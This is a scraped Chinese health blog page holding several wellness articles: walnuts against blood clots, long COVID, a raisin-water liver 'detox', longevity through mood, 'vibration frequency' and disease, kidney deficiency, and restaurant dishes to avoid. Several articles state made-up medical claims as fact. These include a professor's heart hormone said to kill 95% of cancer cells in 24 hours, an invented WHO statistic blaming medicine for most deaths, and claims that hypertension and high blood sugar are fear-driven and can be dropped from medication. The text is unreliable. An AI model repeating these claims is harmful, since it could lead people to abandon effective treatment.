它是天然防血栓的“克星”,睡前吃一颗,抗衰老,80岁血栓不来敲门~

健康/核桃/抗血栓/固本

对于健康而言都是很多人期待的,所以都想出办法,让自己怎样滋补身体才能健康,但在民间流传一句话药补不如食补,特别是对于血栓这种长期积累的病变,食物是更好的选择,因为食物保持天然没有副作用又安全,经常吃都没有问题。

对于血栓来说,最好的天然防栓“药”就是核桃。核桃是天然防血栓“药”。

核桃含有丰富的不饱脂肪酸,经常食用核桃,不但不会升高血糖、血脂,还能减少肠道对胆固醇的吸收。适合高血脂、高血压、冠心病病人食用,核桃含有大量的脂肪,能润肠,治疗大便秘结。核桃中含有精氨酸,有助于减少动脉硬化、让动脉保持弹性,还含有抗氧化剂和α-亚麻酸,有助于动脉健康。

《美国营养学杂志》刊登的耶鲁大学一项新研究发现:耶鲁大学的科学家对一组30~75岁微胖参试者进行了为期8周的“核桃餐研究”。研究结束时发现,核桃组参试者无一人体重继续增加,而且其血管内皮功能明显改善。血管内皮细胞功能良好,能防止血栓、调节炎症和控制血压,对预防心脏病和控制血糖具有积极意义。


核桃固本

一、抗衰老之王

核桃仁中所含维生素E,可使细胞免受自由基的氧化损害,是医学界公认的抗衰老物质,所以核桃有“万岁子”、“长寿果”之称。核桃还能抗衰老,能营养肌肤,使人白嫩,特别是老年人皮肤衰老更宜常吃。

二、固本之王

肾是健康之本,本固则体健,核桃就是一种非常好的固本之物。夜晚9点至12点是肾脏器官最为虚弱的阶段,所以这段时间是进行肾脏调养的关键时期。而通过睡前吃核桃便能很好的起到温肾纳气的效果。

三、安神之王

血压高、头晕、眼花、没有力气……这些看似毫无关联的症状,很可能都是因为同一个原因,就是是睡眠不好,所以高质量的睡眠也是健康的基础。而睡前吃点核桃便能轻松的对付这一困扰。因为在核桃中含有相当多的褪黑素,这种物质能很好的对人体的睡眠进行有效调节。

四、健脑之王

核桃中所含的微量元素锌和锰是脑垂体的重要营养成分,常食核桃有益于大脑的营养补充,可健脑益智养神。还有一种说法叫吃什么补什么,核桃形状似大脑,所以吃核桃可以补脑。对于生长发育中的小孩子,还有大脑逐渐衰退的老年人来说,吃核桃就是最简单方便的健脑方法了。


核桃健脑

健脑汤<<香菇花生核桃煲鸡脚

材料:香菇6个,花生50g,核桃肉50g,生姜3片,鸡脚10只。

做法:鸡脚洗干净焯水,上述药材洗净,加入适量开水放入锅内,煮沸后放入食材,煮1.5小时,调味即可。

美国饮食协会建议人们,每周最好吃两三次核桃,尤其中老年人和绝经期妇女,因为核桃中所含的精氨酸、油酸、抗氧化物质等对保护心血管,预防冠心病、中风、老年痴呆等是颇有裨益的。

固本安神<<核桃黑芝麻粥

材料:米50克,黑芝麻30克,核桃仁30克

做法:大米用清水浸泡10分钟,锅中水烧开放米,大火煮开加盖小火炖煮。

核桃芝麻炒香,然后用蒜臼捣碎。米粥煮至粘稠加入黑芝麻和和桃,搅拌均匀煮上2分钟关火。

2020-12-18 / by / in
可怕后遗症!罹患COVID-19后似永无痊愈之日

中共肺炎/冠状病毒/后遗症/疲倦/认知问题/记忆减退/头痛/消化问题/心律不整/自律神经失调

中共肺炎(新型冠状病毒)疫情在全球爆发,至今继续蔓延,除患病当下的症状外,当时较轻症的痊愈者现在越来越多的出现状况,比如严重倦怠、记忆减退和心脏问题等后遗症,感觉罹患中共肺炎(新型冠状病毒)这种病毒之后可怕到永无痊愈之日。

罗马的大学医院以新冠病毒感染者143名为对象,对其约2个月之后的状态进行了调查。结果发现,康复后的143人中,有125人因某些后遗症而深感苦恼……竟高达87.4%。


中共肺炎

日本厚生劳动省也从8月开始,以新冠肺炎康复患者共2000人为对象,展开关于后遗症实际情况的调查研究。

实际上,现实中为“新冠肺炎后遗症”而苦恼的人有很多……日本《直击 LIVE Goody! 》节目独家采访了一些患者,他们感染了新冠病毒,PCR检测呈阳性, 随后住院……后来转为阴性,然后出院,可是之后却受到疑似“后遗症”的折磨,苦不堪言。

《中央社》报道,许多病患在本该康复的时间后,症状仍持续数周甚至数月,还常会伴随令人费解且影响全身的新症状,像是严重疲倦、认知问题、记忆减退、消化问题、心律不整、头痛、晕眩、血压不稳甚至落发等。


头痛、晕眩

让医师讶异的是,许多这类病人原本病情都没有这么严重,也使得「轻症病患会在2周内痊愈」的假设性说法面临质疑。医师称此情况为「急性后期COVID」或者「慢性COVID-19」,而病患往往称自己为「长期COVID病患」。

美国国家卫生研究院(NIH)10月将这些病例描述加入2019冠状病毒疾病(COVID-19)治疗方针,还表示接获许多医师通报,称轻症患者出现一些COVID-19相关的长期症状与残疾。

关于罹患COVID-19长期症状的患者比例各异。一篇针对4000多名确诊患者的研究发现,自发病后仍持续受到症状所苦长达4周者,18至49岁约占10%;所有年龄层出现症状持续超过8周者都占4.5% ,另有2.3%的人症状超过12周。

另一个针对大多为非住院COVID-19患者的初步研究也发现,高达约25%的患者患病90天后症状仍持续。一份欧洲研究还发现,在1837名非住院病患中,约1/3表示自发病3个月后仍得仰赖看护照顾。


关节痛

严重急性呼吸道症候群(SARS)、中东呼吸症候群冠状病毒(MERS)、伊波拉(Ebola)、新流感H1N1与1918年的「西班牙流感」等,病愈后会有睡眠问题、关节肌肉疼痛等长期症状。

医师表示,COVID-19的不同在于病毒本质仍未获广泛了解,只知一开始首当其冲的是肺部,但身体许多其他部位也会受影响,包括心、肾、消化与神经系统。

西奈山(Mount Sinai)医院体系的COVID-19病后照护中心医学主任陈子健(Zijian Chen,音译)说:「我至今从未见过其他疾病像COVID-19一样,影响人体这么多器官和有这么多病症。」

研究人员表示,造成COVID长期症状的主要解释为,免疫系统活动与其后的发炎持续影响器官或神经系统,甚至在体内已无病毒后仍持续作用。

西达斯西奈卫生体系(Cedars-Sinai Health System)肠胃科医师史匹格(Brennan Spiegel)说,新型冠状病毒可能也会改变肠道菌丛生态。他表示他的患者在罹患COVID-19之后出现腹痛与腹泻的时间长达好几周、甚至好几个月。


腹痛

研究人员表示,有些症状可能是来自急性感染期间人体免疫反应的附带损害,有些患者可能身上仍含有未被诊断出的残留病毒,或者某些细胞里留有一些未发病的病毒引发免疫反应。

研究人员表示另一个可能是,病毒导致某些病患的免疫系统去攻击和毁损自身器官和组织。 6月一份研究发现,29名住进加护病房的COVID-19患者中,大约半数拥有一种以上的自体抗体,这些抗体错误地攻击患者组织或器官。

医师表示,有些患者似乎也罹患自律神经失调。自律神经调节人体各部位自主功能,像是呼吸、消化与心律等。

纽约市西奈山健康体系(Mount Sinai Health System)复健创新中心主任朴崔诺(David Putrino)说,300多名住在COVID病后照护中心的患者中,绝大多数出现类似自律神经失调的症状,约90%出现运动不耐症、疲劳与心跳加快,另有约40%至50%出现肠胃道不适、头痛与呼吸费力等问题。


疲劳 

朴崔诺医师说,来自病毒的发炎可能妨碍迷走神经的正常功能。迷走神经是人体最长的脑神经,传递讯息至肺部、肠子和心脏。

莫豪斯医学院(Morehouse School of Medicine)的神经病毒学家罗耶尔(Walter Royal)表示,在部分病故者的切片中,医师观察到脑部发炎的症状。部分切片研究也发现新型冠状病毒侵入攸关嗅觉的大脑区域的初步证据。

COVID长期患者的痊愈时间仍未可知,且朴崔诺医师说,大多数患者无法靠自身复原,需要至少6个月有组织的复健。

他说:「若这些长期患者未接受治疗复健,也未获该有的诊断,之后身体功能其实会下滑,受损后的身体情况反成了常态。」

2020-12-17 / by / in
4天洗掉肝脏80%毒素!给肝脏进行深层排毒 (视频)

健康/养生/排毒/葡萄干/肝脏保养

很多人都喜欢吃葡萄干,因为葡萄干又香又甜,含有丰富的天然多种微量元素铁、钾、钙、磷、等营养成份,而葡萄干水,也就是将葡萄干泡在水里食用效果更好,更能发挥它的作用,这一点大家可能知道的少一些。

葡萄干水的具体优点在于:

1. 改善人体的消化功能。

2. 消除人体多余的胆固醇;

3. 降低甘油三酯的含量;

4. 防止便秘;

5. 帮助身体排毒;

作用原理:

葡萄干水最神奇的地方在于,它可以促进肝脏健康,通过其特定的在肝脏的生化反应过程,帮助它更有效的排除血液中的毒素。

葡萄干水是一种天然的抗氧化来源,它有足够的能力减低体内毒素的累积。所以,按照我下面所说的这个办法,给你一周的时间,还你一个更加健康的肝脏。


葡萄干

具体的步骤如下:

首先是准备的材料有:400毫升左右的水;150克左右的葡萄干。

其中,对于葡萄干的选择我要着重强调几句,最好是选择深颜色的葡萄干,不要太硬也不要太软,硬度适中就好,在用之前将它们清洗干净。

然后就是葡萄干水的制作过程。先将水煮开,再放入葡萄干,一起煮20分钟左右,然后关火,将葡萄干水放在容器中晾置一夜。第二天早上,将葡萄干从水中捞出,去除水中的杂质成分后就可以饮用了。记住最好是空腹喝,喝完后等半小时左右再进食,这对你的身体有好处。

特别提醒:

如果你坚持按照这个方法饮用葡萄干水,一个星期后,你的肝脏绝对比以往更加健康。因为葡萄干水没有什么副作用,只要情况允许,你还可以继续保持这个习惯。当然,还要尽量避免与酒精和含有过多脂肪酸的食物一起食用,这会对你的胃肠造成伤害。

2020-12-17 / by / in
美国科学家揭开人类疾病的真正根源后,99.99%的人被惊呆了!

人际关系/美国南佛罗里达大学 卫斯理教授/台湾中医师 温嫔容/科学家 疾病/根源揭开上帝终极底牌 科学家

一些事情用普通的方法解释是想不通的,比如说为什么医学越发达我们的病越多?死亡的人数也越多?

世界卫生组织报告显示:

全球的病人,约有四分之一死于医疗性事故;四分之一是被药害死的;还有四分之一是过度医疗治死的。

为什么医学越发达,我们的病越多?死亡的人数也越多?

为何那么多的不治之症,会神奇的不治而愈?

为何有的病,总是干吃药却不见好?


旅行 

1. “揭开上帝终极底牌”的科学家

2008年,美国南佛罗里达大学健康科学研究中心的首席科学家卫斯理教授研究发现:心脏可以分泌,救人最后一命的荷尔蒙。

它不仅可以在24小时内,杀死95%以上的癌细胞,而且对其他绝症也有极好的治疗效果。

卫斯理教授的研究,源于他的好友:一对2003年时都患上了恶性肿瘤,生命仅剩下三个月的英国夫妇。

他们在放弃治疗后,选择用两个月的时间完成生命中最想完成的50件事,之后与旅行社订下合约,倾尽余下的四万英镑家产,做一趟豪华的环球旅行,

条件是只要夫妻中任何一位在旅程中去世,合约就自动终止。

旅行社到医院查核,认为仅剩一个月的寿命下,签订此旅行合约十分划算,就订下合约。

结果, 原本以为只有一个月的旅行却持续了一年半。

而这对夫妇在同情旅行社即将破产,就自动解约返回家,赴医院检查时,发现所有的癌细胞全数消失,原本不治的恶疾竟在旅途中不药而愈。

这个情况引起了卫斯理极大的兴趣。

他深入研究后发现:心脏在非常平静快乐喜悦时,会分泌一种氨酸荷尔蒙,能治疗重大疾病和其他绝症。

他的研究震惊世界,被誉为“揭开上帝终极底牌”的科学家。


大自然 

2 .最好的医生

你自己的心理

这对夫妻的癌症自愈故事,后被一位台湾的中医师温嫔容引用, 她说:讲到藏象系统,就会说到人的心灵。

所有脏器都有肉部首: 肝、脾、肺、肾、胃、肠都有,只有心没有。

为什么心没有肉部首?

因为中医说:“心者,君主之官也,神明出焉”。

这就是《黄帝内经》讲的 “主明则下安,以此养生则寿”,整体就会平稳健康。

心主神明,神明指精神意识思维活动,是人物质身体与灵魂的关键主宰。

所以所有的脏器都有癌症,但是心脏不会得癌症, 当心跳停止时才确定死亡。

当一个人身心安顿,心情稳定,身体就会迅速恢复强健。

所以:“最好的医生是你自己,自然最健康,心是最强的药, 人体都有自行修复的机制。”

这位台湾医师关于“心脏为什么不生癌?”的思考,与广东民间中医董草原的看法,惊人地相似。

董草原早年发现了癌症的秘密,他要求来医治的病人,必须有“洗心革面、重新做人”的决心,

这是秘方中的秘方!

这里说的: “洗心革面、重新做人”,是让我们好好地审视我们过去很多年的生活、模式、欲望。

认真的想想,我们的生命和我自己,到底需要什么?

我们想要什么样的生活?

那些勾心斗角、算计、功利、钱财,在失去生命面前还重要吗?

没有了健康和生命,我们将一无所有。

也许疾病,是给了你一次重新做人,做真正自己的机会。

它让你回归本心,真正的为自己而活,为快乐和幸福而活。


健康快乐 

3.为何“医学”越发达

病人却越多?

我们刚才说了“心主神明”,当一个人身心安顿,心情稳定,身体就会迅速恢复强健。

但我们也都知道,心情的稳定,需要有很多条件。

温嫔容对如今的社会媒体引导、医界恐吓、威胁病人的乱象痛心疾首。

比如:一个人去医院检查,只检验一次血压过高,就被医生断言要终身服药,此后惴惴度日,每日服药,并且终生都会带着这样的恐惧——因为现代医学告诉我们高血压无法完全治愈。

这其实都是错误的认知和利益驱使后的结果。

而来到温嫔容这里问诊的,她看到有人饭前血糖高达300,她就坚定告诉病患并非他的血糖有问题,而是脏腑和心情的问题。

教嘱以放松方法治疗与思想的转念之后,果然血糖就下降了。

除此之外,还有被判定高血压的人恢复正常,最后停止用药的案例比比皆是。

她说:“人体自有智慧,很多的疾病最后都是“想”和“恐惧”出来的。

心神安定坚强时病就不会那么厉害,病邪也是欺善怕恶。

生肠胃病也好,肝病、肾脏病也好,都可以调整心情自我疗愈。

当然有些跟饮食作息有关,但是心情很重要。”

4.回归本来的幸福

守护自己的心

温嫔容说:“要控制一个人最好的方法就是让他恐惧。”

所以整个社会、媒体、医生都在恐吓人们。

这个社会让我们有了越来越多的欲望,为了实现这个欲望我们就有了很多的贪念、邪念、争执、冲突、问题,这些都是我们自己创造的。

我们的情绪都被挑起,人们都被奴化了。

所以,我经常会问我的病人:“这真的是你要的吗?要赚很多钱、考上很好的学校、要达到什么业绩标准、非要怎么怎么样……这是你真的想要的吗?”到了真的得病了,生命面临威胁的那一刻——很多人会发现,其实并不是我们真的想要,而是被社会洗脑挑起、被家长所挑起,被欲望牵着鼻子走——拼到最后身体都垮了,也没有感觉到真正的幸福。

很多人生病以后才会真正省思:活着做什么?赚那么多钱做什么?这也是真正的医者一直强调的:希望回到人最本来的幸福。

5.回归自然

真正的健康

几乎所有的人疾病的根源都在于此:他们一生都不认识自己,也不了解自己的身体与内在。

胡乱的使用自己,将自己整日盲目地埋在社会价值观鼓吹的欲望和钱财上,最终毁了自己的幸福,也毁了自己的健康。

如今,我们依赖科学,相信科学。

但是,人类的科学即使再发达,也具有很深的局限性。

不然为什么科学这么发达,世界上仍然有这么多无法解决的问题?

世界卫生组织报告人类还有八千多种疾病不能被治愈,还有许多超级病菌正入侵人类,且目前无药可治?

最终,我们要明白:符合自然的其实才是最高的科学,因为自然是神技,仪器是人技,人力无法胜天。

这个才是影响健康长寿最重要的因素。关于健康长寿,一直以来都是人们所追求和研究的方向。

曾经的诺贝尔生理学奖得主伊丽莎白等总结出的长寿之道一度引起人们的关注,那就是:

人要活百岁,合理膳食占25%,其它占25%,而心理平衡的作用占到了50%。

这影响长寿因素占一半原因的“心理平衡”究竟怎么理解?我们又该如何做到呢?

“压力激素”会损伤身体

医病先医“心”

心理学研究发现:一个人在大发雷霆时,身体产生的压力激素,足以让小鼠致死。因此“压力激素”,又称“毒性激素”。

现代医学发现:癌症、动脉硬化、高血压、消化性溃疡、月经不调等,人类65%~90%的疾病与心理的压抑感有关。因此,这类病被称为心身性疾病。

如果人整天焦躁不安、发怒、紧张等,令压力激素水平长时间居高不下,人体的免疫系统将受到抑制和摧毁,心血管系统也会由于长期过劳而变得格外脆弱。

人的身与心是密不可分的:人在快乐的时候,大脑会分泌多巴胺等“益性激素”。

益性激素让人心绪放松,产生快感,这种身心都很舒服的良好状态,从而使人体各机能互相协调、平衡,促进健康。

那么我们要怎么把它运用到实际中,促进身心健康,长命百岁呢?

拥有健康的身心

家庭和睦是长寿的秘诀

据说:格鲁吉亚有位农妇活了132岁零91天。在她130岁时,有记者问她长寿的秘诀,她回答:首先是家庭和睦……

美国有两位心理学教授积20年的研究发现:影响寿命的决定性因素中,排第一名的是“人际关系”。他们说,人际关系可能比水果蔬菜、经常锻炼和定期体检更加重要。

人是群体动物,活着就是活在人际关系中。

心理学家马斯洛总结的人生需求,从低级到高级,依次为“生理需求、安全需求、社交需求、尊重需求和自我实现需求”五类。

除生理需求外,均和人际关系有关“需求”获得满足,即会收获快乐!

“目标”能激发生命活力

保养脑细胞的最佳方法

新的研究表明,“目标感很强”对健康有益,因为生活中是否有追求,这决定了一个人的心态,进而决定其生理状况。

勤于思考的人的脑血管经常处于舒展状态,从而保养了脑细胞,使大脑不过早衰老。

科学家还发现,脑子活动时总是把较多的葡萄糖送到脑中最需要的地方。

在安静时,老年人和青年人相比,脑内葡萄糖利用率较低,但用起脑来,脑最活跃的地方所得到的葡萄糖并不低于青年人。

所以,用脑还可以促进脑的新陈代谢,延缓衰老。

“助人为乐”有医疗作用

防治忧郁症的良方

研究人员发现,给予别人“物质上”的帮助,能使致死率降低42%;给予他人精神上的支持,能使致死率降低30%。

助人,为何会产生医疗作用?

因为,与人为善,常做好事,心中常产生一种难以言喻的愉快感和自豪感,进而降低了压力激素水平,促进了“有益激素”的分泌。

精神病流行病学专家甚至说:养成助人为乐的习惯,是防治忧郁症的良方。

“付出友善”会“收获友善”

建立和谐人际关系

前面说到:人际关系是影响寿命决定性因素,那么我们如何建立和谐的人际关系?

管仲说:“善气迎人,亲如兄弟;恶气迎人,害于戈兵。”人与人之间的关系和反应,如同人在山间呼喊发出的回声。

“你善”,回声则“善”;“你恶”,回声则“恶”。有些人人际关系差,完全是因为他们处处与人争斗的结果。


和谐的人际关系 

有利人际关系和谐的“付出”包括:赞美、幽默、微笑、尊重、礼让、随和、包容、宽恕、体谅、同情、忠诚、倾听等。

永远记住:只有愉悦的心情,才是人生终极的追求!

2020-12-16 / by / in
美国科学家发现:意念对健康的影响,大到不可思议!

健康/人生/意念/力量

戴维.霍金斯博士在美国是很有名的一位医生,他医治的患者来自世界各地,经过研究他发现“如果人的意念振动频率达到在200以上就不生病。”

戴维.霍金斯发现,凡是生病的人一般都用负面的意念,他们喜欢抱怨、指责、仇恨别人,不断指责别人过程当中就消减自己很大的能量。这些意念的振动频率低于200。这些人容易得很多不同的疾病。

没有爱会生病

振动频率也就是人们常说的磁场。“很多人生病是因为没有慈悲心、爱心、宽容柔和等,只有痛苦和沮丧,通常这些病人的振动频率低于200,容易得很多不同的病。”

霍金斯博士说:只要看到病人就知道这个人为什么生病,因为从病人身上找不到任何一个和爱相关字,只有痛苦、怨恨、沮丧,包附着他全身。


心态

振动频率高者能带来美好的场

研究发现:最高的振动指数是1000,最低的指数是1。目前,在这个世界上,他看到振动频率最高的是700,他的能量特别足,这些人出现的时候,能够影响一个地方的磁场。

当一位诺贝尔和平奖得主特瑞萨出现在颁奖会上的时候,全场气氛相当好,振动频率很高,她的磁场让全场的人都感受到她的能量,美好和感动充满其中。

当能量很高的人出现时,他的磁场会带动整个万事万物变得美好祥和,而当一个人有很多负面意念的时候,伤害的不仅是他自己,也让周围环境磁场变得不好。


想法

振动频率不同人的表现有哪些

霍金斯博士说他做过百万次案例,在全球调查过不同人种,答案都是一致的。只要振动频率低于200,这个人就生病。200以上的就没有病。

200以上的意念通常表现是:喜欢关怀别人,慈悲心、爱心、行善、宽容柔和等等这些都是高的振动频率,达到400到500。

相反,喜欢嗔恨、发怒,动不动指责、怨恨、嫉妒、苛求他人,凡事自私自利,只考虑自己,很少考虑他人感受,这些人振动频率很低,这些低的振动频率也是导致癌症、心脏病等种种病的原因。

他从医学角度告诉人们,意念真的是不可思议,意念对人的健康有很大影响。

可见,积极乐观的心态,多些正面的念头,以及一颗慈爱的心,是健康不可缺少的因素。

2020-12-16 / by / in
医生提醒:核桃好处多,三类人吃多了有害身体

核桃/蛋白/脂肪/矿物质/维生素/油脂亚油酸/冬季滋补

核桃别名胡桃,对一般百姓来说都不陌生,因为核桃是我们生活中最常见的坚果食物,但是吃核桃对健康的讲究还是需要正确了解的。

一到冬季,核桃就会频繁出现在家家户户的茶几上,算是一种比较常见的零食,大家也都认可核桃对身体的好处。核桃中含有丰富的蛋白、脂肪、矿物质、维生素等,是对身体有好处的,而且含有的微量元素锌锰等也是对神经系统生长发育有好处的,还可以为大脑提供营养成分,所以核桃是一个不可多得的零食。


核桃

但是事事都讲究两面性,核桃也不是人人吃了都有好处的。

阴虚火旺者

核桃属于性温的食物,冬季滋补特别合适,但是本身身体阴虚火旺者是非常不适合吃核桃的,容易导致身体更加炽热。

肠胃泄泻者

核桃仁是比较油腻的,含有很多油脂,容易滑肠,本身身体有泄泻者尽量少吃核桃,可能会加重肠道不适症状。

痰热喘咳者

核桃是容易生痰的,当身体痰热喘咳者吃核桃以后会加重身体痰液,对身体恢复不利。

核桃是早晨吃还是晚上吃比较好?


核桃

有人会疑惑核桃是早晨吃还是晚上吃比较好,其实这大可不必过于紧张,早晨吃晚上吃都可以。早晨肠胃蠕动较快,更利于营养物质的吸收,而且核桃中的亚油酸等物质可以降低血液粘稠度,促进体内脂肪的代谢,早餐吃核桃对我们的身体来说是非常好的,要适量吃,不可贪多。而晚上吃核桃也是可以的,尽量不要过于饱餐后再吃,这样容易导致脂肪的囤积,对身体的健康不利。

2020-12-15 / by / in
重大发现 !人寿命长短 不是吃和运动 而是…太震惊了

健康/长寿/心态/情绪

人来到世上寿命一般只不过是百年,但对人来说健康非常重要,因为长寿是人们一生所追求的目标和研究的方向。

诺贝尔生理学奖得主伊丽莎白等总结出的长寿之道一度引起人们的关注,那就是:人要活百岁,合理膳食占25%,其它占25%,而心理平衡的作用占到了50%。

这影响长寿因素占一半原因的“心理平衡”究竟怎么理解?我们又该如何做到呢?

压力激素会损伤身体,心理学研究发现:一个人在大发雷霆时,身体产生的压力激素,足以让小鼠致死。因此“压力激素”,又称“毒性激素”。 《黄帝内经》也曾说到:“百病生于气也。怒则气上,喜则气缓,悲则气结,惊则气乱,劳则气耗……”所以医病先医“心”。现代医学发现:癌症、动脉硬化、高血压、消化性溃疡、月经不调等,人类65%-90%的疾病与心理的压抑感有关。因此,这类病被称为心身性疾病。如果人整天焦躁不安、发怒、紧张等,令压力激素水平长时间居高不下,人体的免疫系统将受到抑制和摧毁,心血管系统也会由于长期过劳而变得格外脆弱。

人在快乐的时候,大脑会分泌多巴胺等“益性激素”。益性激素让人心绪放松,产生快感,这种身心都很舒服的良好状态,可使人体各机能互相协调、平衡,促进健康。

那么,我们在生活中,应该如何做,才能更多的分泌快乐的“益性激素”,减少“压力激素?

确定一个目标,勤于思考新的研究表明,“目标感很强”对健康有益。因为生活中是否有追求,决定了一个人的心态,进而决定其生理状况。勤于思考的人的脑血管处于舒展状态,因此,经常用脑可以促进脑部的新陈代谢,延缓衰老。

助人为乐有治疗作用研究人员发现,给予别人“物质上”的帮助,能使致死率降低42%;给予他人精神上的支持,能使致死率降低30%。

因为与人为善,常做好事,心中会产生一种难以言喻的愉快感和自豪感,进而降低了压力激素水平,促进了“有益激素”的分泌。精神病流行病学专家甚至说:养成助人为乐的习惯,是预防和治疗忧郁症的良方。

家庭和睦是长寿的秘密:美国有两位心理学教授积20年的研究发现:影响寿命的决定性因素中,排第一名的是“人际关系”。他们说,人际关系可能比水果蔬菜、经常锻炼和定期体检更加重要。

人际关系不仅包括和朋友的关系,还包括和家人的关系。因此,家庭和睦、与朋友相处愉快是长寿的秘诀之一!

付出友善就会收获友善当我们对别人微笑时,别人也会以微笑相迎。无论是和朋友在一起,还是跟老同学聊天,记得都要保持微笑,付出友善。

这个友善包括:赞美、幽默、微笑、尊重、礼让、随和、包容、宽恕、体谅、同情、忠诚、倾听等。只有这样,我们才会收获别人的友善,心情也会更好哦!

2020-12-15 / by / in
《黄帝内经》:真正肾虚的原因是……

肾虚/黄帝内经/肾虚的真正原因/恐伤肾/肾气

在一般的人认为导致肾虚的原因是欲望不节制,可能很多人还不知道肾虚还有两个根本源头。那么我们来了解黄帝内经的说法。

普通大众都认为欲望不节制可以导致肾虚,其实,肾虚还有两个原因才是根本源头。我们来看看黄帝内经。

黄帝内经:恐伤肾。肾主志。从中我们可以挖掘到肾虚的源头。欲望不节制一般是肾虚的直接原因。但肾虚真正的源头在于肾的源头没有了!

恐惧是第一伤肾的源头。

我们非常不主张把小孩子硬逼去做他不愿意做的事,因为会非常惨,那种恐惧,即使他本人也没发觉,却是真正的恐惧。特别是以恐吓,或者大骂这样的暴力施加,孩子的肾气一定会伤。伤到的后果就是自暴自弃。

如果你家小孩从小尿床,除了先天不足之外,你有没有给他恐怖的情绪,家里的成长环境有没有给予他足够的安全感。如果没有孩子一定会伤肾,这样伤肾引起的尿床会形成恶性循环,加重病症。

为什么说吓尿了呢?这在中医看来是有根据的,恐则气下。吓尿裤子,吓尿床是很常见的。

无意识中生命的不安感会大非常多,因为这种不安,引发的代偿反应就是对物质世界的名利权势面子变得很执迷,像溺水的人抓浮木一样拼命抓……

有童年阴影,或者被恐吓长大的孩子肾气一般都会比较弱。并且不安全感会伴随一生,继续伤着肾气。


童年阴影

男人不要担心你的性功能,老婆也不要恐吓你的老公。

如果一个男人经常恐惧自己的性功能不行,这种担心长时间存在就加重肾虚,越虚性功能就越不行,形成恶性循环。索性把这个担心、这个害怕抛弃,反而行了。

肾主志

如果说得再家常一些:同样是花力气做一件事,各位有没有注意到:有些事我们做一两个小时,觉得全身好松好舒服;可是有些事,做一下就觉得肩膀好酸脖子好紧,而这又不见得和姿势或用力的方式有关。

如果明白了肾气的运作,那么,我们平常就要去意识到这种「身体感」,久而久之,对我们人生的「选择」会有些帮助。

如果一个人处在「失志」的状态,有可能他的性欲也会变得特别的大,因为他人生的进步已经被切断了,肾气没有机会往上走了。

可是,如果你是因为不能好好面对这个现实世界,而逃避到一个「上瘾」的活动里面──上瘾可能是集邮、可能是看漫画,人有各种上瘾的型式,有人有爱情上瘾症,一天没有人爱他就活不下去──所有的上瘾都是因为这个人没有足够的志气、勇气,让他面对现实生活中的种种真相,以至于对现实产生了很大的不满。

凡是沉迷于「上瘾」活动的人、或是事事都想「包赢」的人,肾都会伤到,有很大的比率的这种人,他的性欲是无法压抑的,因为他的肾气只能往下不能往上,他拒绝去升华他的肾气,这是一个我观察到的现象。


不得志

古人也说玩物丧志。

如果你是一个有童年恐惧阴影,被吓到一辈子都没有安全感的人;或者你是一个在现实社会得不到满足,不得志的人。你的肾气很难补,怎么吃补肾的药效果都不好。

因为恐惧和不得志这两个吞噬肾气的东西一直在挖空你的肾气。肾透支了怎么办?

不是吃药,也不是补,而是首先要解决掉恐惧和不得志。

整天担心这担心那,日子久了肾就会伤。理想得不到满足,逃避现实,肾气得不到生长,日子久了也就没有了肾气!这两个才是肾气不足的根本原因,从源头伤才是真的伤!

2020-12-14 / by / in
老厨师告诉你年底聚餐 去餐馆千万别点这6个菜

饭店/餐馆/点菜/去餐馆别点的菜/过年去饭店/退休厨师

新年快到了,是不是大家都在准备到时候和亲朋好友大餐一顿,面对各种各样的美食,点菜还真是个有讲究的呢!

如何荤素搭配、营养口感两不误;如何躲过那些不健康的食物、容易出差错的菜,都是需要我们在点菜的时候谨慎、谨慎、再谨慎!

赶紧来听听一位不愿意透露姓名的退休厨师说的,关于饭店里一些菜的秘密~

退休厨师告诉你:

去餐馆千万别点这6个菜!

1.地三鲜 ——都要油炸,且油会反复使用

地三鲜的主要食材是土豆、茄子、青椒。这道菜首先需要往锅内放油,烧热,把茄子、土豆炸熟至金黄色后捞起,沥油。

土豆、茄子本身都是不错的菜,但经高温油炸,很多营养会受到损失,另外,为了控制成本饭店的油也都是要反复使用的,这也会不利于健康。

2.油焖茄子 ——茄子最吸油

是不是觉得自己家做的茄子就没那么香,但是饭店的茄子却很好吃、很下饭?

这和饭店做做茄子的时候“舍得”用油有很大的关系。油焖茄子油很多,不易消化,常吃会引起消化不良,以及饱食后出现胸口饱胀,甚至恶心、呕吐、腹泻、食欲不振等不舒服状况。

3.干煸豆角 ——干煸变油炸,损失营养

干煸豆角

干煸豆角,听起来似乎与过油无关,其实也多半是油炸过的。过油的干煸豆角不仅热量超标,还存在安全风险。

生豆角中含有一种有毒蛋白叫凝集素,会引起中毒,刺激胃肠道,食用者会出现呕吐、腹泻、眩晕等症状。而在油炸时,豆角可能外焦里生,因此,一定要确保豆角煮熟,防止中毒事件的发生。

4.水煮鱼、水煮肉 ——鱼肉可能不新鲜、油也有隐患

这类重口味的菜,也很容易掩盖食物不新鲜的味道。而且烹调水煮鱼、水煮肉往往需要大量的油,很多餐馆为了降低成本,烹调这类菜肴的油即使不属于口水油,质量也绝对好不到那里去。

水煮鱼若用活鱼烹调,肉片会微微卷起,肉质有弹性。

把肉在热水里涮一下,好的油比较容易把油涮掉。而反复使用的劣质油黏度上升,口感黏腻,吃起来没有清爽感,甚至在热水中都很难涮掉。

5.炝​​炒牛柳 ——口感太嫩,当心嫩肉粉

现在有些餐馆的牛柳肉质特别嫩,软得和豆腐差不多,而自己在家却做不出这样的效果。这可能就是“嫩肉粉”的功劳。

嫩肉粉中不但含蛋白酶和淀粉,往往还含亚硝酸盐、小苏打、磷酸盐等配料,个别品种亚硝酸盐含量也可能超标。

牛肉、猪肉煮熟后应自然变成褐色或灰白色,而用了嫩肉粉的肉,做熟之后都是粉红色的,娇艳美丽而且内外颜色均匀。加酱油或红曲也能让熟肉发红,但颜色和很好区分。

6、水晶虾仁 ——多是速冻虾仁,还有别的隐患

其实正宗的水晶虾仁,用的是新鲜的河虾仁,这种虾仁的成本挺高。

所以多数餐馆会选择使用速冻虾仁,解冻后加小苏打或硼砂,使口感更爽脆。烹饪前用双氧水漂一下,变得晶莹剔透。

另外,不新鲜的虾口感不脆嫩,比较松散,肉块较小,并且肉和壳很容易分开。

对于以鱼为原料烹调的菜肴来说,鱼眼突出、表皮完整的大多数是鲜鱼,其肉紧实并且富有弹性。

去饭店别花冤枉钱!

点菜的十条重要提醒

在中国这个人情社会里,大事小事都离不开一顿饭,如何点出一桌既实惠又体面、既健康又可口的饭菜简直是个技术活儿,下面有十条点菜的重要提醒。

1.最滋补汤基本没营养


饭店里越名贵的汤往往没有营养,可以点银耳汤等家常汤。 

